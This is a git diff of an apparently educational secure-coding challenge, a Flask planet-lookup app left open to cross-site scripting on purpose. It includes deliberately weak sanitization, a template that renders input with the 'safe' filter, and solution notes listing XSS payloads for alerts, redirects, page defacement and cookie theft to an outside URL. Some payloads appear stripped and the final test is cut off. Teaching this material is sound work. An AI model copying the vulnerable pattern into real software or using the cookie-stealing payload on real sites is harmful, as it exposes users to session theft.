diff --git a/Season-2/Level-3/code.py b/Season-2/Level-3/code.py
index fec771b..ac1a65a 100644
--- a/Season-2/Level-3/code.py
+++ b/Season-2/Level-3/code.py
@@ -40,42 +40,22 @@
def index():
if request.method == 'POST':
planet = request.form.get('planet')
- sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)
-
- if 'script' in sanitized_planet.lower() :
- return '
Blocked
'
-
- elif sanitized_planet:
- details = get_planet_info(sanitized_planet)
-
- if planet:
- return f'Planet Details:
{get_planet_info(planet)}
'
- else:
- return 'Please enter a planet name.
'
-
- return render_template('index.html')
-
-@app.route('/getPlanetInfo', methods=['GET'])
-def get_planet_info_endpoint():
- planet = request.args.get('planet')
- sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)
-
- if 'script' in sanitized_planet.lower() :
- return 'Blocked
'
-
- elif sanitized_planet:
- details = get_planet_info(sanitized_planet)
-
- if planet:
- return f'Planet Details:
{get_planet_info(planet)}
'
+ sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
+
+ if sanitized_planet:
+ if 'script' in sanitized_planet.lower() :
+ return 'Blocked
'
+
+ return render_template('details.html',
+ planet=sanitized_planet,
+ info=get_planet_info(sanitized_planet))
else:
return 'Please enter a planet name.
'
+ return render_template('index.html')
+
def get_planet_info(planet):
- if planet in planet_data:
- return planet_data[planet]
- else:
- return f'No information found for {planet}.'
+ return planet_data.get(planet, 'Unknown planet.')
if __name__ == '__main__':
app.run()
\ No newline at end of file
diff --git a/Season-2/Level-3/hack.py b/Season-2/Level-3/hack.py
deleted file mode 100644
index e1f094c..0000000
--- a/Season-2/Level-3/hack.py
+++ /dev/null
@@ -1,34 +0,0 @@
-# ///////////////////////////////////////////////////////////////////////
-# /// RUN HACK ///
-# /// _______________________________________________________________ ///
-# /// ///
-# /// This file exploits the vulnerabilities in code.py ///
-# /// To run this file, you must be running code.py (flask app) ///
-# /// in parallel. To do this, we recommend opening 2 terminals. ///
-# /// In the first terminal, run the app following the instructions ///
-# /// in code.py, and in the second terminal run this file using: ///
-# /// ///
-# /// $ python3 Season-2/Level-3/hack.py ///
-# /// ///
-# /// Running this file will fail initially (it contains failing ///
-# /// tests). As all other levels, your goal is to get this file ///
-# /// to pass while ensuring that the tests.py file still passes. ///
-# /// ///
-# ///////////////////////////////////////////////////////////////////////
-
-import requests
-
-# Target URL
-target_url = "http://localhost:5000/"
-
-# XSS payload
-payload = "<
>"
-
-# Craft the malicious URL with the payload
-malicious_url = f"{target_url}getPlanetInfo?planet={payload}"
-
-# Send the request
-response = requests.get(malicious_url)
-
-# Print the response content
-print(response.text)
\ No newline at end of file
diff --git a/Season-2/Level-3/hack.txt b/Season-2/Level-3/hack.txt
new file mode 100755
index 0000000..204d5ad
--- /dev/null
+++ b/Season-2/Level-3/hack.txt
@@ -0,0 +1,7 @@
+Here are two steps to simulate an attack:
+
+1. Start the applicsation as instructed in 'code.py'
+2. Enter in the input field for planet the following content: <img src='x' onerror='alert(1)'>
+
+Your application must present a message that such a planet is unknown to the system without
+showing an alert box.
\ No newline at end of file
diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt
index 6f5d797..5d0fa72 100644
--- a/Season-2/Level-3/hint.txt
+++ b/Season-2/Level-3/hint.txt
@@ -1 +1 @@
-How does the site handle user input before displaying it?
\ No newline at end of file
+How does the site handle user input before and after displaying it?
\ No newline at end of file
diff --git a/Season-2/Level-3/solution.txt b/Season-2/Level-3/solution.txt
index ee2b44b..894e747 100644
--- a/Season-2/Level-3/solution.txt
+++ b/Season-2/Level-3/solution.txt
@@ -6,38 +6,39 @@ This code is vulnerable to Cross-Site Scripting (XSS).
Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/
-Back to our level in the Secure Code Game, the vulnerable functions are:
-- get_planet_info()
-- get_planet_info_endpoint()
+Why the application is vulnerable to XSS?
+It seems that the user input is properly sanitized, as shown below:
-Why are they vulnerable?
+planet = request.form.get('planet')
+sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
-Examine closely the following:
-sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)
-
-In this regex, the characters
-<, >, (, ), {, }, [, and ]
-are explicitly removed, but whitespace characters are not removed.
-
-Then, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
-However, other tags, such as the 'img' tag, can still used to exploit a XSS bug as follows:
+After all, if all the HTML start and end tags are pruned away what can go wrong?
+Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
+However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:
Exploit:
-<
>
+<img src="x" onerror="alert(1)">
Explanation:
-In this payload, the double angle brackets, '<<' and '>>', will not be matched by the regex,
-so the payload remains unaffected, and the XSS attack will execute successfully.
+With this payload, the XSS attack will execute successfully, since it will force the browser to open an
+alert dialog box. There are couple of reasons why this is possible, as enrolled below:
+1) The regular expression is missing the () characters and these are crucial for function invocation in JavaScript.
+2) The sanitization doesn't touch the < and > special entities.
+3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
+4) The 'display.html' is reusing an essentially unprotected planet name and rendering it at another location as HTML.
How can we fix this?
-We can use the function 'escape', which is a built-in function inside the Markup module of Flask.
+Never reuse a content rendered in 'safe' regime as HTML. It is essentially unescaped.
+
+Don't reinvent the wheel by coming up with your own escaping facility.
+You can utilize the function 'escape', which is a built-in function inside the markup module used by Flask.
This function helps to escape special characters in the input, preventing them from being executed
as HTML or JavaScript.
Example:
-from flask import Flask, request, render_template, jsonify, escape
+from markupsafe import escape
-return f'Planet Details:
{escape(details)}
'
+sanitized_planet = escape(planet)
What else can XSS do?
- Steal cookies and session information
@@ -55,11 +56,11 @@ How to prevent XSS?
Here are some exploit examples:
- Redirect to phishing page using XSS:
-<
>
+<img src="x" onerror="window.location.href = 'https://google.com';">
- Get cookies:
-<
>
+<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">
- Modify website content:
You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
-<
>
\ No newline at end of file
+<img src="x" onerror="document.body.innerHTML = 'Website is hacked';">
\ No newline at end of file
diff --git a/Season-2/Level-3/templates/details.html b/Season-2/Level-3/templates/details.html
new file mode 100644
index 0000000..28db517
--- /dev/null
+++ b/Season-2/Level-3/templates/details.html
@@ -0,0 +1,31 @@
+
+
+
+
+ Planet Details
+
+
+
+
+ Planet Details
+ Planet name: {{ planet | safe }}
+ Planet info: {{ info | safe }}
+
+ Search in Google for more information about the planet:
+
+
+
+
\ No newline at end of file
diff --git a/Season-2/Level-3/tests.py b/Season-2/Level-3/tests.py
index 0246884..33ebe25 100644
--- a/Season-2/Level-3/tests.py
+++ b/Season-2/Level-3/tests.py
@@ -4,8 +4,8 @@
# /// ///
# /// This file contains passing tests. ///
# /// ///
-# /// Run them by opening a terminal and running the following: ///
-# /// $ python3 Season-2/Level-3/tests.py ///
+# /// Run them by opening a terminal and running the following: ///
+# /// $ python3 Season-2/Level-3/tests.py ///
# /// ///
# /// Note: first you have to run code.py following the instructions ///
# /// on top of the file so that the environment variables align but ///
@@ -16,7 +16,6 @@
from code import app, get_planet_info
import unittest
-from flask import Flask
from flask_testing import TestCase
class MyTestCase(TestCase):
@@ -32,7 +31,7 @@ def test_index_route(self):
def test_get_planet_info_invalid_planet(self):
planet = 'Pluto'
- expected_info = 'No information found for Pluto.'
+ expected_info = 'Unknown planet.'
result = get_planet_info(planet)
self.assertEqual(result, expected_info)
@@ -42,11 +41,27 @@ def test_get_planet_info_valid_planet(self):
result = get_planet_info(planet)
self.assertEqual(result, expected_info)
- def test_get_planet_info_endpoint_valid_planet(self):
+ def test_index_valid_planet(self):
planet = 'Venus'
- response = self.client.get(f'/getPlanetInfo?planet={planet}')
+ response = self.client.post('/', data={'planet': planet})
self.assert200(response)
- self.assertEqual(response.data.decode(), f'Planet Details:
{get_planet_info(planet)}
')
+ self.assertEqual(response.data.decode()[:15], '')
+
+ def test_index_missing_planet(self):
+ response = self.client.post('/')
+ self.assert200(response)
+ self.assertEqual(response.data.decode(), 'Please enter a planet name.
')
+
+ def test_index_empty_planet(self):
+ response = self.client.post('/', data={'planet': ''})
+ self.assert200(response)
+ self.assertEqual(response.data.decode(), 'Please enter a planet name.
')
+
+ def test_index_active_content_planet(self):
+ planet = "